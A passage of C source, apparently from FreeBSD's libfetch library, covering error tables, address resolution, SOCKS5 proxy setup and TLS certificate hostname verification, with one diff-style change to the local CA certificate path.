found" }, #endif { EAI_AGAIN, FETCH_TEMP, "Transient resolver failure" }, { EAI_FAIL, FETCH_RESOLV, "Non-recoverable resolver failure" }, { EAI_NONAME, FETCH_RESOLV, "No address record" }, { -1, FETCH_UNKNOWN, "Unknown resolver error" } }; /* * SOCKS5 error enumerations */ enum SOCKS5_ERR { /* Protocol errors */ SOCKS5_ERR_SELECTION, SOCKS5_ERR_READ_METHOD, SOCKS5_ERR_VER5_ONLY, SOCKS5_ERR_NOMETHODS, SOCKS5_ERR_NOTIMPLEMENTED, SOCKS5_ERR_HOSTNAME_SIZE, SOCKS5_ERR_REQUEST, SOCKS5_ERR_REPLY, SOCKS5_ERR_NON_VER5_RESP, SOCKS5_ERR_GENERAL, SOCKS5_ERR_NOT_ALLOWED, SOCKS5_ERR_NET_UNREACHABLE, SOCKS5_ERR_HOST_UNREACHABLE, SOCKS5_ERR_CONN_REFUSED, SOCKS5_ERR_TTL_EXPIRED, SOCKS5_ERR_COM_UNSUPPORTED, SOCKS5_ERR_ADDR_UNSUPPORTED, SOCKS5_ERR_UNSPECIFIED, /* Configuration errors */ SOCKS5_ERR_BAD_HOST, SOCKS5_ERR_BAD_PROXY_FORMAT, SOCKS5_ERR_BAD_PORT }; /* * Error messages for SOCKS5 errors */ static struct fetcherr socks5_errlist[] = { /* SOCKS5 protocol errors */ { SOCKS5_ERR_SELECTION, FETCH_ABORT, "SOCKS5: Failed to send selection method" }, { SOCKS5_ERR_READ_METHOD, FETCH_ABORT, "SOCKS5: Failed to read method" }, { SOCKS5_ERR_VER5_ONLY, FETCH_PROTO, "SOCKS5: Only version 5 is implemented" }, { SOCKS5_ERR_NOMETHODS, FETCH_PROTO, "SOCKS5: No acceptable methods" }, { SOCKS5_ERR_NOTIMPLEMENTED, FETCH_PROTO, "SOCKS5: Method currently not implemented" }, { SOCKS5_ERR_HOSTNAME_SIZE, FETCH_PROTO, "SOCKS5: Hostname size is above 256 bytes" }, { SOCKS5_ERR_REQUEST, FETCH_PROTO, "SOCKS5: Failed to request" }, { SOCKS5_ERR_REPLY, FETCH_PROTO, "SOCKS5: Failed to receive reply" }, { SOCKS5_ERR_NON_VER5_RESP, FETCH_PROTO, "SOCKS5: Server responded with a non-version 5 response" }, { SOCKS5_ERR_GENERAL, FETCH_ABORT, "SOCKS5: General server failure" }, { SOCKS5_ERR_NOT_ALLOWED, FETCH_AUTH, "SOCKS5: Connection not allowed by ruleset" }, { SOCKS5_ERR_NET_UNREACHABLE, FETCH_NETWORK, "SOCKS5: Network unreachable" }, { SOCKS5_ERR_HOST_UNREACHABLE, FETCH_ABORT, "SOCKS5: Host unreachable" }, { SOCKS5_ERR_CONN_REFUSED, FETCH_ABORT, "SOCKS5: Connection refused" }, { SOCKS5_ERR_TTL_EXPIRED, FETCH_TIMEOUT, "SOCKS5: TTL expired" }, { SOCKS5_ERR_COM_UNSUPPORTED, FETCH_PROTO, "SOCKS5: Command not supported" }, { SOCKS5_ERR_ADDR_UNSUPPORTED, FETCH_ABORT, "SOCKS5: Address type not supported" }, { SOCKS5_ERR_UNSPECIFIED, FETCH_UNKNOWN, "SOCKS5: Unspecified error" }, /* Configuration error */ { SOCKS5_ERR_BAD_HOST, FETCH_ABORT, "SOCKS5: Bad proxy host" }, { SOCKS5_ERR_BAD_PROXY_FORMAT, FETCH_ABORT, "SOCKS5: Bad proxy format" }, { SOCKS5_ERR_BAD_PORT, FETCH_ABORT, "SOCKS5: Bad port" } }; /* End-of-Line */ static const char ENDL[2] = "\r\n"; /*** Error-reporting functions ***********************************************/ /* * Map error code to string */ static struct fetcherr * fetch_finderr(struct fetcherr *p, int e) { while (p->num != -1 && p->num != e) p++; return (p); } /* * Set error code */ void fetch_seterr(struct fetcherr *p, int e) { p = fetch_finderr(p, e); fetchLastErrCode = p->cat; snprintf(fetchLastErrString, MAXERRSTRING, "%s", p->string); } /* * Set error code according to errno */ void fetch_syserr(void) { switch (errno) { case 0: fetchLastErrCode = FETCH_OK; break; case EPERM: case EACCES: case EROFS: case EAUTH: case ENEEDAUTH: fetchLastErrCode = FETCH_AUTH; break; case ENOENT: case EISDIR: /* XXX */ fetchLastErrCode = FETCH_UNAVAIL; break; case ENOMEM: fetchLastErrCode = FETCH_MEMORY; break; case EBUSY: case EAGAIN: fetchLastErrCode = FETCH_TEMP; break; case EEXIST: fetchLastErrCode = FETCH_EXISTS; break; case ENOSPC: fetchLastErrCode = FETCH_FULL; break; case EADDRINUSE: case EADDRNOTAVAIL: case ENETDOWN: case ENETUNREACH: case ENETRESET: case EHOSTUNREACH: fetchLastErrCode = FETCH_NETWORK; break; case ECONNABORTED: case ECONNRESET: fetchLastErrCode = FETCH_ABORT; break; case ETIMEDOUT: fetchLastErrCode = FETCH_TIMEOUT; break; case ECONNREFUSED: case EHOSTDOWN: fetchLastErrCode = FETCH_DOWN; break; default: fetchLastErrCode = FETCH_UNKNOWN; } snprintf(fetchLastErrString, MAXERRSTRING, "%s", strerror(errno)); } /* * Emit status message */ void fetch_info(const char *fmt, ...) { va_list ap; va_start(ap, fmt); vfprintf(stderr, fmt, ap); va_end(ap); fputc('\n', stderr); } /*** Network-related utility functions ***************************************/ /* * Return the default port for a scheme */ int fetch_default_port(const char *scheme) { struct servent *se; if ((se = getservbyname(scheme, "tcp")) != NULL) return (ntohs(se->s_port)); if (strcmp(scheme, SCHEME_FTP) == 0) return (FTP_DEFAULT_PORT); if (strcmp(scheme, SCHEME_HTTP) == 0) return (HTTP_DEFAULT_PORT); return (0); } /* * Return the default proxy port for a scheme */ int fetch_default_proxy_port(const char *scheme) { if (strcmp(scheme, SCHEME_FTP) == 0) return (FTP_DEFAULT_PROXY_PORT); if (strcmp(scheme, SCHEME_HTTP) == 0) return (HTTP_DEFAULT_PROXY_PORT); return (0); } /* * Create a connection for an existing descriptor. */ conn_t * fetch_reopen(int sd) { conn_t *conn; int opt = 1; /* allocate and fill connection structure */ if ((conn = calloc(1, sizeof(*conn))) == NULL) return (NULL); fcntl(sd, F_SETFD, FD_CLOEXEC); setsockopt(sd, SOL_SOCKET, SO_NOSIGPIPE, &opt, sizeof opt); conn->sd = sd; ++conn->ref; return (conn); } /* * Bump a connection's reference count. */ conn_t * fetch_ref(conn_t *conn) { ++conn->ref; return (conn); } /* * Resolve an address */ struct addrinfo * fetch_resolve(const char *addr, int port, int af) { char hbuf[256], sbuf[8]; struct addrinfo hints, *res; const char *hb, *he, *sep; const char *host, *service; int err, len; /* first, check for a bracketed IPv6 address */ if (*addr == '[') { hb = addr + 1; if ((sep = strchr(hb, ']')) == NULL) { errno = EINVAL; goto syserr; } he = sep++; } else { hb = addr; sep = strchrnul(hb, ':'); he = sep; } /* see if we need to copy the host name */ if (*he != '\0') { len = snprintf(hbuf, sizeof(hbuf), "%.*s", (int)(he - hb), hb); if (len < 0) goto syserr; if (len >= (int)sizeof(hbuf)) { errno = ENAMETOOLONG; goto syserr; } host = hbuf; } else { host = hb; } /* was it followed by a service name? */ if (*sep == '\0' && port != 0) { if (port < 1 || port > 65535) { errno = EINVAL; goto syserr; } if (snprintf(sbuf, sizeof(sbuf), "%d", port) < 0) goto syserr; service = sbuf; } else if (*sep != '\0') { service = sep + 1; } else { service = NULL; } /* resolve */ memset(&hints, 0, sizeof(hints)); hints.ai_family = af; hints.ai_socktype = SOCK_STREAM; hints.ai_flags = AI_ADDRCONFIG; if ((err = getaddrinfo(host, service, &hints, &res)) != 0) { netdb_seterr(err); return (NULL); } return (res); syserr: fetch_syserr(); return (NULL); } /* * Bind a socket to a specific local address */ int fetch_bind(int sd, int af, const char *addr) { struct addrinfo *cliai, *ai; int err; if ((cliai = fetch_resolve(addr, 0, af)) == NULL) return (-1); for (ai = cliai; ai != NULL; ai = ai->ai_next) if ((err = bind(sd, ai->ai_addr, ai->ai_addrlen)) == 0) break; if (err != 0) fetch_syserr(); freeaddrinfo(cliai); return (err == 0 ? 0 : -1); } /* * SOCKS5 connection initiation, based on RFC 1928 * Default DNS resolution over SOCKS5 */ int fetch_socks5_init(conn_t *conn, const char *host, int port, int verbose) { /* * Size is based on largest packet prefix (4 bytes) + * Largest FQDN (256) + one byte size (1) + * Port (2) */ unsigned char buf[BUFF_SIZE]; unsigned char *ptr; int ret = 1; if (verbose) fetch_info("Initializing SOCKS5 connection: %s:%d", host, port); /* Connection initialization */ ptr = buf; *ptr++ = SOCKS_VERSION_5; *ptr++ = SOCKS_CONNECTION; *ptr++ = SOCKS_RSV; if (fetch_write(conn, buf, 3) != 3) { ret = SOCKS5_ERR_SELECTION; goto fail; } /* Verify response from SOCKS5 server */ if (fetch_read(conn, buf, 2) != 2) { ret = SOCKS5_ERR_READ_METHOD; goto fail; } ptr = buf; if (ptr[0] != SOCKS_VERSION_5) { ret = SOCKS5_ERR_VER5_ONLY; goto fail; } if (ptr[1] == SOCKS_NOMETHODS) { ret = SOCKS5_ERR_NOMETHODS; goto fail; } else if (ptr[1] != SOCKS5_NOTIMPLEMENTED) { ret = SOCKS5_ERR_NOTIMPLEMENTED; goto fail; } /* Send Request */ *ptr++ = SOCKS_VERSION_5; *ptr++ = SOCKS_CONNECTION; *ptr++ = SOCKS_RSV; /* Encode all targets as a hostname to avoid DNS leaks */ *ptr++ = SOCKS_ATYP_DOMAINNAME; if (strlen(host) > FQDN_SIZE) { ret = SOCKS5_ERR_HOSTNAME_SIZE; goto fail; } *ptr++ = strlen(host); strncpy(ptr, host, strlen(host)); ptr = ptr + strlen(host); port = htons(port); *ptr++ = port & 0x00ff; *ptr++ = (port & 0xff00) >> 8; if (fetch_write(conn, buf, ptr - buf) != ptr - buf) { ret = SOCKS5_ERR_REQUEST; goto fail; } /* BND.ADDR is variable length, read the largest on non-blocking socket */ if (!fetch_read(conn, buf, BUFF_SIZE)) { ret = SOCKS5_ERR_REPLY; goto fail; } ptr = buf; if (*ptr++ != SOCKS_VERSION_5) { ret = SOCKS5_ERR_NON_VER5_RESP; goto fail; } switch(*ptr++) { case SOCKS_SUCCESS: break; case SOCKS_GENERAL_FAILURE: ret = SOCKS5_ERR_GENERAL; goto fail; case SOCKS_CONNECTION_NOT_ALLOWED: ret = SOCKS5_ERR_NOT_ALLOWED; goto fail; case SOCKS_NETWORK_UNREACHABLE: ret = SOCKS5_ERR_NET_UNREACHABLE; goto fail; case SOCKS_HOST_UNREACHABLE: ret = SOCKS5_ERR_HOST_UNREACHABLE; goto fail; case SOCKS_CONNECTION_REFUSED: ret = SOCKS5_ERR_CONN_REFUSED; goto fail; case SOCKS_TTL_EXPIRED: ret = SOCKS5_ERR_TTL_EXPIRED; goto fail; case SOCKS_COMMAND_NOT_SUPPORTED: ret = SOCKS5_ERR_COM_UNSUPPORTED; goto fail; case SOCKS_ADDRESS_NOT_SUPPORTED: ret = SOCKS5_ERR_ADDR_UNSUPPORTED; goto fail; default: ret = SOCKS5_ERR_UNSPECIFIED; goto fail; } return (ret); fail: socks5_seterr(ret); return (0); } /* * Perform SOCKS5 initialization */ int fetch_socks5_getenv(char **host, int *port) { char *socks5env, *endptr, *ext; const char *portDelim; size_t slen; portDelim = ":"; if ((socks5env = getenv("SOCKS5_PROXY")) == NULL || *socks5env == '\0') { *host = NULL; *port = -1; return (-1); } /* * IPv6 addresses begin and end in brackets. Set the port delimiter * accordingly and search for it so we can do appropriate validation. */ if (socks5env[0] == '[') portDelim = "]:"; slen = strlen(socks5env); ext = strstr(socks5env, portDelim); if (socks5env[0] == '[') { if (socks5env[slen - 1] == ']') { *host = strndup(socks5env, slen); } else if (ext != NULL) { *host = strndup(socks5env, ext - socks5env + 1); } else { socks5_seterr(SOCKS5_ERR_BAD_PROXY_FORMAT); return (0); } } else { *host = strndup(socks5env, ext - socks5env); } if (*host == NULL) { fprintf(stderr, "Failure to allocate memory, exiting.\n"); return (-1); } if (ext == NULL) { *port = 1080; /* Default port as defined in RFC1928 */ } else { ext += strlen(portDelim); errno = 0; *port = strtoimax(ext, (char **)&endptr, 10); if (*endptr != '\0' || errno != 0 || *port < 0 || *port > 65535) { free(*host); *host = NULL; socks5_seterr(SOCKS5_ERR_BAD_PORT); return (0); } } return (2); } /* * Establish a TCP connection to the specified port on the specified host. */ conn_t * fetch_connect(const char *host, int port, int af, int verbose) { struct addrinfo *cais = NULL, *sais = NULL, *cai, *sai; const char *bindaddr; conn_t *conn = NULL; int err = 0, sd = -1; char *sockshost; int socksport; DEBUGF("---> %s:%d\n", host, port); /* * Check if SOCKS5_PROXY env variable is set. fetch_socks5_getenv * will either set sockshost = NULL or allocate memory in all cases. */ sockshost = NULL; if (!fetch_socks5_getenv(&sockshost, &socksport)) goto fail; /* Not using SOCKS5 proxy */ if (sockshost == NULL) { /* resolve server address */ if (verbose) fetch_info("resolving server address: %s:%d", host, port); if ((sais = fetch_resolve(host, port, af)) == NULL) goto fail; /* resolve client address */ bindaddr = getenv("FETCH_BIND_ADDRESS"); if (bindaddr != NULL && *bindaddr != '\0') { if (verbose) fetch_info("resolving client address: %s", bindaddr); if ((cais = fetch_resolve(bindaddr, 0, af)) == NULL) goto fail; } } else { /* resolve socks5 proxy address */ if (verbose) fetch_info("resolving SOCKS5 server address: %s:%d", sockshost, socksport); if ((sais = fetch_resolve(sockshost, socksport, af)) == NULL) { socks5_seterr(SOCKS5_ERR_BAD_HOST); goto fail; } } /* try each server address in turn */ for (err = 0, sai = sais; sai != NULL; sai = sai->ai_next) { /* open socket */ if ((sd = socket(sai->ai_family, SOCK_STREAM, 0)) < 0) goto syserr; /* attempt to bind to client address */ for (err = 0, cai = cais; cai != NULL; cai = cai->ai_next) { if (cai->ai_family != sai->ai_family) continue; if ((err = bind(sd, cai->ai_addr, cai->ai_addrlen)) == 0) break; } if (err != 0) { if (verbose) fetch_info("failed to bind to %s", bindaddr); goto syserr; } /* attempt to connect to server address */ if ((err = connect(sd, sai->ai_addr, sai->ai_addrlen)) == 0) break; /* clean up before next attempt */ close(sd); sd = -1; } if (err != 0) { if (verbose && sockshost == NULL) { fetch_info("failed to connect to %s:%d", host, port); goto syserr; } else if (sockshost != NULL) { if (verbose) fetch_info( "failed to connect to SOCKS5 server %s:%d", sockshost, socksport); socks5_seterr(SOCKS5_ERR_CONN_REFUSED); goto fail; } goto syserr; } if ((conn = fetch_reopen(sd)) == NULL) goto syserr; if (sockshost) if (!fetch_socks5_init(conn, host, port, verbose)) goto fail; free(sockshost); if (cais != NULL) freeaddrinfo(cais); if (sais != NULL) freeaddrinfo(sais); return (conn); syserr: fetch_syserr(); fail: free(sockshost); /* Fully close if it was opened; otherwise just don't leak the fd. */ if (conn != NULL) fetch_close(conn); else if (sd >= 0) close(sd); if (cais != NULL) freeaddrinfo(cais); if (sais != NULL) freeaddrinfo(sais); return (NULL); } #ifdef WITH_SSL /* * Convert characters A-Z to lowercase (intentionally avoid any locale * specific conversions). */ static char fetch_ssl_tolower(char in) { if (in >= 'A' && in <= 'Z') return (in + 32); else return (in); } /* * isalpha implementation that intentionally avoids any locale specific * conversions. */ static int fetch_ssl_isalpha(char in) { return ((in >= 'A' && in <= 'Z') || (in >= 'a' && in <= 'z')); } /* * Check if passed hostnames a and b are equal. */ static int fetch_ssl_hname_equal(const char *a, size_t alen, const char *b, size_t blen) { size_t i; if (alen != blen) return (0); for (i = 0; i < alen; ++i) { if (fetch_ssl_tolower(a[i]) != fetch_ssl_tolower(b[i])) return (0); } return (1); } /* * Check if domain label is traditional, meaning that only A-Z, a-z, 0-9 * and '-' (hyphen) are allowed. Hyphens have to be surrounded by alpha- * numeric characters. Double hyphens (like they're found in IDN a-labels * 'xn--') are not allowed. Empty labels are invalid. */ static int fetch_ssl_is_trad_domain_label(const char *l, size_t len, int wcok) { size_t i; if (!len || l[0] == '-' || l[len-1] == '-') return (0); for (i = 0; i < len; ++i) { if (!isdigit(l[i]) && !fetch_ssl_isalpha(l[i]) && !(l[i] == '*' && wcok) && !(l[i] == '-' && l[i - 1] != '-')) return (0); } return (1); } /* * Check if host name consists only of numbers. This might indicate an IP * address, which is not a good idea for CN wildcard comparison. */ static int fetch_ssl_hname_is_only_numbers(const char *hostname, size_t len) { size_t i; for (i = 0; i < len; ++i) { if (!((hostname[i] >= '0' && hostname[i] <= '9') || hostname[i] == '.')) return (0); } return (1); } /* * Check if the host name h passed matches the pattern passed in m which * is usually part of subjectAltName or CN of a certificate presented to * the client. This includes wildcard matching. The algorithm is based on * RFC6125, sections 6.4.3 and 7.2, which clarifies RFC2818 and RFC3280. */ static int fetch_ssl_hname_match(const char *h, size_t hlen, const char *m, size_t mlen) { int delta, hdotidx, mdot1idx, wcidx; const char *hdot, *mdot1, *mdot2; const char *wc; /* wildcard */ if (!(h && *h && m && *m)) return (0); if ((wc = strnstr(m, "*", mlen)) == NULL) return (fetch_ssl_hname_equal(h, hlen, m, mlen)); wcidx = wc - m; /* hostname should not be just dots and numbers */ if (fetch_ssl_hname_is_only_numbers(h, hlen)) return (0); /* only one wildcard allowed in pattern */ if (strnstr(wc + 1, "*", mlen - wcidx - 1) != NULL) return (0); /* * there must be at least two more domain labels and * wildcard has to be in the leftmost label (RFC6125) */ mdot1 = strnstr(m, ".", mlen); if (mdot1 == NULL || mdot1 < wc || (mlen - (mdot1 - m)) < 4) return (0); mdot1idx = mdot1 - m; mdot2 = strnstr(mdot1 + 1, ".", mlen - mdot1idx - 1); if (mdot2 == NULL || (mlen - (mdot2 - m)) < 2) return (0); /* hostname must contain a dot and not be the 1st char */ hdot = strnstr(h, ".", hlen); if (hdot == NULL || hdot == h) return (0); hdotidx = hdot - h; /* * host part of hostname must be at least as long as * pattern it's supposed to match */ if (hdotidx < mdot1idx) return (0); /* * don't allow wildcards in non-traditional domain names * (IDN, A-label, U-label...) */ if (!fetch_ssl_is_trad_domain_label(h, hdotidx, 0) || !fetch_ssl_is_trad_domain_label(m, mdot1idx, 1)) return (0); /* match domain part (part after first dot) */ if (!fetch_ssl_hname_equal(hdot, hlen - hdotidx, mdot1, mlen - mdot1idx)) return (0); /* match part left of wildcard */ if (!fetch_ssl_hname_equal(h, wcidx, m, wcidx)) return (0); /* match part right of wildcard */ delta = mdot1idx - wcidx - 1; if (!fetch_ssl_hname_equal(hdot - delta, delta, mdot1 - delta, delta)) return (0); /* all tests succeeded, it's a match */ return (1); } /* * Get numeric host address info - returns NULL if host was not an IP * address. The caller is responsible for deallocation using * freeaddrinfo(3). */ static struct addrinfo * fetch_ssl_get_numeric_addrinfo(const char *hostname, size_t len) { struct addrinfo hints, *res; char *host; host = (char *)malloc(len + 1); memcpy(host, hostname, len); host[len] = '\0'; memset(&hints, 0, sizeof(hints)); hints.ai_family = PF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = 0; hints.ai_flags = AI_NUMERICHOST; /* port is not relevant for this purpose */ if (getaddrinfo(host, "443", &hints, &res) != 0) res = NULL; free(host); return res; } /* * Compare ip address in addrinfo with address passes. */ static int fetch_ssl_ipaddr_match_bin(const struct addrinfo *lhost, const char *rhost, size_t rhostlen) { const void *left; if (lhost->ai_family == AF_INET && rhostlen == 4) { left = (void *)&((struct sockaddr_in*)(void *) lhost->ai_addr)->sin_addr.s_addr; #ifdef INET6 } else if (lhost->ai_family == AF_INET6 && rhostlen == 16) { left = (void *)&((struct sockaddr_in6 *)(void *) lhost->ai_addr)->sin6_addr; #endif } else return (0); return (!memcmp(left, (const void *)rhost, rhostlen) ? 1 : 0); } /* * Compare ip address in addrinfo with host passed. If host is not an IP * address, comparison will fail. */ static int fetch_ssl_ipaddr_match(const struct addrinfo *laddr, const char *r, size_t rlen) { struct addrinfo *raddr; int ret; char *rip; ret = 0; if ((raddr = fetch_ssl_get_numeric_addrinfo(r, rlen)) == NULL) return 0; /* not a numeric host */ if (laddr->ai_family == raddr->ai_family) { if (laddr->ai_family == AF_INET) { rip = (char *)&((struct sockaddr_in *)(void *) raddr->ai_addr)->sin_addr.s_addr; ret = fetch_ssl_ipaddr_match_bin(laddr, rip, 4); #ifdef INET6 } else if (laddr->ai_family == AF_INET6) { rip = (char *)&((struct sockaddr_in6 *)(void *) raddr->ai_addr)->sin6_addr; ret = fetch_ssl_ipaddr_match_bin(laddr, rip, 16); #endif } } freeaddrinfo(raddr); return (ret); } /* * Verify server certificate by subjectAltName. */ static int fetch_ssl_verify_altname(STACK_OF(GENERAL_NAME) *altnames, const char *host, struct addrinfo *ip) { const GENERAL_NAME *name; size_t nslen; int i; const char *ns; for (i = 0; i < sk_GENERAL_NAME_num(altnames); ++i) { #if OPENSSL_VERSION_NUMBER < 0x10000000L /* * This is a workaround, since the following line causes * alignment issues in clang: * name = sk_GENERAL_NAME_value(altnames, i); * OpenSSL explicitly warns not to use those macros * directly, but there isn't much choice (and there * shouldn't be any ill side effects) */ name = (GENERAL_NAME *)SKM_sk_value(void, altnames, i); #else name = sk_GENERAL_NAME_value(altnames, i); #endif #if OPENSSL_VERSION_NUMBER < 0x10100000L ns = (const char *)ASN1_STRING_data(name->d.ia5); #else ns = (const char *)ASN1_STRING_get0_data(name->d.ia5); #endif nslen = (size_t)ASN1_STRING_length(name->d.ia5); if (name->type == GEN_DNS && ip == NULL && fetch_ssl_hname_match(host, strlen(host), ns, nslen)) return (1); else if (name->type == GEN_IPADD && ip != NULL && fetch_ssl_ipaddr_match_bin(ip, ns, nslen)) return (1); } return (0); } /* * Verify server certificate by CN. */ static int fetch_ssl_verify_cn(X509_NAME *subject, const char *host, struct addrinfo *ip) { ASN1_STRING *namedata; X509_NAME_ENTRY *nameentry; int cnlen, lastpos, loc, ret; unsigned char *cn; ret = 0; lastpos = -1; loc = -1; cn = NULL; /* get most specific CN (last entry in list) and compare */ while ((lastpos = X509_NAME_get_index_by_NID(subject, NID_commonName, lastpos)) != -1) loc = lastpos; if (loc > -1) { nameentry = X509_NAME_get_entry(subject, loc); namedata = X509_NAME_ENTRY_get_data(nameentry); cnlen = ASN1_STRING_to_UTF8(&cn, namedata); if (ip == NULL && fetch_ssl_hname_match(host, strlen(host), cn, cnlen)) ret = 1; else if (ip != NULL && fetch_ssl_ipaddr_match(ip, cn, cnlen)) ret = 1; OPENSSL_free(cn); } return (ret); } /* * Verify that server certificate subjectAltName/CN matches * hostname. First check, if there are alternative subject names. If yes, * those have to match. Only if those don't exist it falls back to * checking the subject's CN. */ static int fetch_ssl_verify_hname(X509 *cert, const char *host) { struct addrinfo *ip; STACK_OF(GENERAL_NAME) *altnames; X509_NAME *subject; int ret; ret = 0; ip = fetch_ssl_get_numeric_addrinfo(host, strlen(host)); altnames = X509_get_ext_d2i(cert, NID_subject_alt_name, NULL, NULL); if (altnames != NULL) { ret = fetch_ssl_verify_altname(altnames, host, ip); } else { subject = X509_get_subject_name(cert); if (subject != NULL) ret = fetch_ssl_verify_cn(subject, host, ip); } if (ip != NULL) freeaddrinfo(ip); if (altnames != NULL) GENERAL_NAMES_free(altnames); return (ret); } /* * Configure transport security layer based on environment. */ static void fetch_ssl_setup_transport_layer(SSL_CTX *ctx, int verbose) { long ssl_ctx_options; ssl_ctx_options = SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_TICKET; if (getenv("SSL_ALLOW_SSL3") == NULL) ssl_ctx_options |= SSL_OP_NO_SSLv3; if (getenv("SSL_NO_TLS1") != NULL) ssl_ctx_options |= SSL_OP_NO_TLSv1; if (getenv("SSL_NO_TLS1_1") != NULL) ssl_ctx_options |= SSL_OP_NO_TLSv1_1; if (getenv("SSL_NO_TLS1_2") != NULL) ssl_ctx_options |= SSL_OP_NO_TLSv1_2; if (verbose) fetch_info("SSL options: %lx", ssl_ctx_options); SSL_CTX_set_options(ctx, ssl_ctx_options); } /* * Configure peer verification based on environment. */ -#define LOCAL_CERT_FILE "/usr/local/etc/ssl/cert.pem" +#define LOCAL_CERT_FILE _PATH_LOCALBASE "/etc/ssl/cert.pem" #define BASE_CERT_FILE "/etc/ssl/cert.pem" static int fetch_ssl_setup_peer_verification(SSL_CTX *ctx, int verbose) { X509_LOOKUP *crl_lookup; X509_STORE *crl_store; const char *ca_cert_file, *ca_cert_path, *crl_file; if (getenv("SSL_NO_VERIFY_PEER") == NULL) { ca_cert_file = getenv("SSL_CA_CERT_FILE"); if (ca_cert_file == NULL && access(LOCAL_CERT_FILE, R_OK) == 0) ca_cert_file = LOCAL_CERT_FILE; if (ca_cert_file == NULL && access(BASE_CERT_FILE, R_OK) == 0) ca_cert_file = BASE_CERT_FILE; ca_cert_path = getenv("SSL_CA_CERT_PATH"); if (verbose) { fetch_info("Peer verification enabled"); if (ca_cert_file != NULL) fetch_info("Using CA cert file: %s", ca_cert_file); if (ca_cert_path != NULL) fetch_info("Using CA cert path: %s", ca_cert_path); if (ca_cert_file == NULL && ca_cert_path == NULL) fetch_info("Using OpenSSL default " "CA cert file and path"); } SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, fetch_ssl_cb_verify_crt); if (ca_cert_file != NULL || ca_cert_path != NULL) SSL_CTX_load_verify_locations(ctx, ca_cert_file, ca_cert_path); else SSL_CTX_set_default_verify_paths(ctx); if ((crl_file = getenv("SSL_CRL_FILE")) != NULL) { if (verbose) fetch_info("Using CRL file: %s", crl_file); crl_store = SSL_CTX_get_cert_store(ctx); crl_lookup = X509_STORE_add_lookup(crl_store, X509_LOOKUP_file()); if (crl_lookup == NULL || !X509_load_crl_file(crl_lookup, crl_file, X509_FILETYPE_PEM)) { fprintf(stderr, "Could not load CRL file %s\n", crl_file); return (0); } X509_STORE_set_flags(crl_store, X509_V_FLAG_CRL_CHECK | X509_V_FLAG_CRL_CHECK_ALL); } } return (1); } /* * Configure client certificate based on environment. */ static int fetch_ssl_setup_client_certificate(SSL_CTX *ctx, int verbose) { const char *client_cert_file, *client_key_file; if ((client_cert_file = getenv("SSL_CLIENT_CERT_FILE")) != NULL) { client_key_file = getenv("SSL_CLIENT_KEY_FILE") != NULL ? getenv("SSL_CLIENT_KEY_FILE") : client_cert_file; if (verbose) { fetch_info("Using client cert file: %s", client_cert_file); fetch_info("Using client key file: %s", client_key_file); } if (SSL_CTX_use_certificate_chain_file(ctx, client_cert_file) != 1) { fprintf(stderr, "Could not load client certificate %s\n", client_cert_file); return (0); } if (SSL_CTX_use_PrivateKey_file(ctx, client_key_file, SSL_FILETYPE_PEM) != 1) { fprintf(stderr, "Could not load client key %s\n", client_key_file); return (0); } } return (1); } /* * Callback for SSL certificate verification, this is called on server * cert verification. It takes no decision, but informs the user in case * verification failed. */ int fetch_ssl_cb_verify_crt(int verified, X509_STORE_CTX *ctx) { X509 *crt; X509_NAME *name; char *str; str = NULL; if (!verified) { if ((crt = X509_STORE_CTX_get_current_cert(ctx)) != NULL && (name = X509_get_subject_name(crt)) != NULL) str = X509_NAME_oneline(name, 0, 0); fprintf(stderr, "Certificate verification failed for %s\n", str != NULL ? str : "no relevant certificate"); OPENSSL_free(str); } return (verified); } #endif /* * Enable SSL on a connection. */ int fetch_ssl(conn_t *conn, const struct url *URL, int verbose) { #ifdef WITH_SSL int ret, ssl_err; X509_NAME *name; char *str; /* Init the SSL library and context */ if (!SSL_library_init()){ fprintf(stderr, "SSL library init failed\n"); return (-1); } SSL_load_error_strings(); conn->ssl_meth = SSLv23_client_method(); conn->ssl_ctx = SSL_CTX_new(conn->ssl_meth); SSL_CTX_set_mode(conn->ssl_ctx, SSL_MODE_AUTO_RETRY); fetch_ssl_setup_transport_layer(conn->ssl_ctx, verbose); if (!fetch_ssl_setup_peer_verification(conn->ssl_ctx, verbose)) return (-1); if (!fetch_ssl_setup_client_certificate(conn->ssl_ctx, verbose)) return (-1); conn->ssl = SSL_new(conn->ssl_ctx); if (conn->ssl == NULL) { fprintf(stderr, "SSL context creation failed\n"); return (-1); } SSL_set_fd(conn->ssl, conn->sd); #if OPENSSL_VERSION_NUMBER >= 0x0090806fL && !defined(OPENSSL_NO_TLSEXT) if (!SSL_set_tlsext_host_name(conn->ssl, __DECONST(struct url *, URL)->host)) { fprintf(stderr, "TLS server name indication extension failed for host %s\n", URL->host); return (-1); } #endif while ((ret = SSL_connect(conn->ssl)) == -1) { ssl_err = SSL_get_error(conn->ssl, ret); if (ssl_err != SSL_ERROR_WANT_READ && ssl_err != SSL_ERROR_WANT_WRITE) { ERR_print_errors_fp(stderr); return (-1); } } conn->ssl_cert = SSL_get_peer_certificate(conn->ssl); if (conn->ssl_cert == NULL) { fprintf(stderr, "No server SSL certificate\n"); return (-1); } if (getenv("SSL_NO_VERIFY_HOSTNAME") == NULL) { if (verbose) fetch_info("Verify hostname"); if (!fetch_ssl_verify_hname(conn->ssl_cert, URL->host)) { fprintf(stderr, "SSL certificate subject doesn't match host %s\n", URL->host); return (-1); } } if (verbose) { fetch_info("%s connection established using %s", SSL_get_version(conn->ssl), SSL_get_cipher(conn->ssl)); name = X509_get_subject_name(conn->ssl_cert); str = X509_NAME_oneline(name, 0, 0); fetch_info("Certificate subject: %s", str); OPENSSL_free(str); name = X509_get_issuer_name(conn->ssl_cert); str = X509_NAME_oneline(name, 0, 0); fetch_info("Certificate issuer: %s", str); OPENSSL_free(str); } return (0); #else (void)conn; (void)verbose; (void)URL; fprintf(stderr, "SSL support disabled\n"); return (-1); #endif } #define FETCH_READ_WAIT -2 #define FETCH_READ_ERROR -1 #define FETCH_READ_DONE 0 #ifdef WITH_SSL static ssize_t fetch_ssl_read(SSL *ssl, char *buf, size_t len) { ssize_t rlen; int ssl_err; rlen = SSL_read(ssl, buf, len); if (rlen < 0) { ssl_err = SSL_get_error(ssl, rlen); if (ssl_err == SSL_ERROR_WANT_READ || ssl_err == SSL_ERROR_WANT_WRITE) { return (FETCH_READ_WAIT); } else { ERR_print_errors_fp(stderr); return (FETCH_READ_ERROR); } } return (rlen); } #endif static ssize_t fetch_socket_read(int sd, char 